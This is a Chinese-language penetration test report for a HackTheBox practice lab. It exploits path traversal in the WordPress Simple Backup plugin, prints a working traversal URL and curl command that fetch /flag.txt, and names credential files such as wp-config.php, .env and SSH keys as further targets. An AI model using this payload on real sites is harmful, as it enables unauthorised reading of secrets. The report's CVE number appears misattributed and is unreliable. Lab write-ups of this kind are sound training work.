| 项目 | 详情 |
|---|---|
| 文档标题 | 渗透测试报告 - WordPress 路径遍历 |
| 客户/考试 | HackTheBox 实验室 - CPTS 练习 1 |
| 日期 | 2026 年 8 月 22 日 |
| 评估人员 | Fernando Viana(渗透测试员) |
| 评估类型 | 灰盒(外部,无凭据) |
| 实验环境 | 154.57.164.73:30706 |
| 实验时长 | 1 小时 |
| 目标 | 识别并利用漏洞以获取受限文件 |
| 获取的 Flag | HTB{my_f1r57_h4ck} |
在本次针对托管于 154.57.164.73:30706 的 Web 应用程序的渗透评估中,发现了一个严重漏洞,该漏洞允许未经身份验证的攻击者从服务器文件系统下载并读取任意文件。
存在漏洞的 WordPress 安装包含一个过时的插件(Simple Backup v2.7.10),该插件存在路径遍历漏洞(CVE-2019-11447),允许在无需身份验证或授权的情况下进行未经授权的文件访问。
该漏洞已被成功利用,从服务器根目录获取了 /flag.txt 文件,确认了机密性的完全失陷。拥有此访问权限的攻击者可以:
wp-config.php、.env)需要立即采取关键行动来修复此漏洞,因为它对数据安全、隐私合规(GDPR、HIPAA、PCI-DSS)和系统完整性构成极端风险。
| 严重程度 | 数量 | 业务影响 |
|---|---|---|
| 🔴 严重 | 1 | 机密性完全泄露;未经授权的文件访问 |
| 🟠 高 | 0 | — |
| 🟡 中 | 0 | — |
| 🟢 低 | 0 | — |
| ℹ️ 信息 | 1 | 检测到过时的软件版本 |
评估类型: 灰盒(外部攻击者,未提供凭据,可访问网络)
评估日期: 2026 年 8 月 22 日
测试方法: 非规避性、有条理的评估,遵循行业标准的渗透测试框架(PTES):
CVE-2019-11447 | CWE-22:对路径名的限制不恰当(限制到受限目录)
WordPress 插件 Simple Backup(版本 2.7.10/2.7.11,Exploit-DB 39883)在其管理端“备份管理器”页面中存在路径遍历漏洞。该插件未能对通过 download_backup_file GET 参数提供的文件路径进行清理,允许攻击者使用相对路径序列(../)遍历到预期的 simple-backup/ 目录之外,并下载 Web 服务器进程可读取的任何文件——包括文件系统根目录下的文件。
存在漏洞的端点:
GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
page=backup_manager 将请求路由到插件的管理页面处理程序;download_backup_file 是插件代码直接读取并拼接进文件系统路径的参数,且未做任何校验,从而允许目录遍历。
7.5 - 高危 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
机密性泄露: ⚠️ 严重
攻击者可读取 Web 服务器可访问的任意文件,包括:
| 文件 | 影响 | 风险等级 |
|---|---|---|
/wp-config.php | 数据库凭据、盐值、密钥 | 🔴 严重 |
/.env | API 密钥、机密信息、配置 | 🔴 严重 |
/etc/passwd | 用户枚举、系统映射 | 🟠 高危 |
SSH 密钥(.ssh/id_rsa) | 横向移动、系统访问 | 🔴 严重 |
/proc/self/environ | 运行中应用的机密信息 | 🟠 高危 |
| 用户上传目录 | 私有文件、媒体文件 | 🟠 高危 |
合规影响:
Exploit-DB 公告(39883.txt,通过 searchsploit -x 读取——参见 ht4-poc.png)记录了 simple-backup-manager.php 中插件的 删除 原语:
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
$filename 直接来自 $_GET['delete_backup_file'],没有经过 basename() 或路径包含检查。传入 ../pizza.txt 会使 $bk_dir . $filename 解析为 .../simple-backup/../pizza.txt → .../pizza.txt,从而逃逸出预期的备份文件夹。
本次参与中实际利用的 download 原语(download_backup_file)在同一插件中遵循完全相同的未净化拼接模式,但它将文件返回给请求者而不是删除它——这正是能够从文件系统根目录检索 /flag.txt 的原因(从 ABSPATH/simple-backup/ 向上 10 次 ../)。
问题所在:
basename() 移除目录组件realpath() 是否保持在 ABSPATH."simple-backup/" 内current_user_can() / 身份验证检查——该处理程序在插件加载时运行,早于 WordPress 自身的 wp-admin 身份验证关卡,因此无需登录即可访问通过浏览器直接连接到目标(http://154.57.164.73:30706/)。该 WordPress 安装的标题为 "GETTING STARTED",首页上的一篇公开博客文章以纯文本形式披露了确切的插件名称和版本:"Simple Backup Plugin 2.7.10 for WordPress"——甚至不需要任何枚举工具就能识别出存在漏洞的组件。

whatweb http://154.57.164.73:30706/
结果: 确认 Apache/2.4.41(Ubuntu Linux)、WordPress 5.6.1,通过 MetaGenerator 和 WordPress 插件签名识别。

searchsploit simple backup wordpress
结果:
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

阅读完整的安全公告,以了解确切的易受攻击参数和代码路径:
searchsploit -x php/webapps/39883.txt
该公告记录了通过 delete_backup_file 参数实现的未认证 任意文件删除 漏洞,并指出 simple-backup/ 下的备份文件(以及通过同一未净化代码路径、经由 download_backup_file 访问的任意文件)可在未认证的情况下被获取。

download_backup_file 进行路径遍历从插件管理页面路由中识别出的易受攻击端点:
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
利用载荷(10 个 ../,用于从 ABSPATH/simple-backup/ 回溯到文件系统根目录):
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
GUI(本次评估中使用): 直接在浏览器地址栏中访问了 payload URL。无需登录——浏览器自动触发了对解析后的 flag.txt 的文件下载。

无头等效方式:
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
获取的 Flag: HTB{my_f1r57_h4ck}
该漏洞之所以能够成功,是因为:
$_GET['download_backup_file'] 未针对白名单进行检查realpath() 验证文件是否保持在 simple-backup/ 内../)未被过滤ABSPATH."simple-backup/"wp-admin 身份验证关卡——在未登录状态下即可访问current_user_can() 检查来确认请求者是否有权访问所请求的文件攻击流程:
User Input: ../../../../../../../../../../flag.txt
↓
No Validation (FAILURE POINT)
↓
Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt
↓
Resolves to: /flag.txt (accessible!)
↓
Plugin serves file contents with web server permissions
↓
Browser downloads flag.txt to attacker's machine
✅ 机密性受损: Web 服务器进程可读取的任何文件均可被访问 ✅ 无需身份验证: 未认证用户即可利用 ✅ 无需用户交互: 通过直接 HTTP 请求即可利用 ✅ 可重复且可靠: 在所有受影响版本上均可生效 ✅ 关键业务数据面临风险: 配置文件、凭据、用户数据暴露
仅允许从预定义的文件列表下载:
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;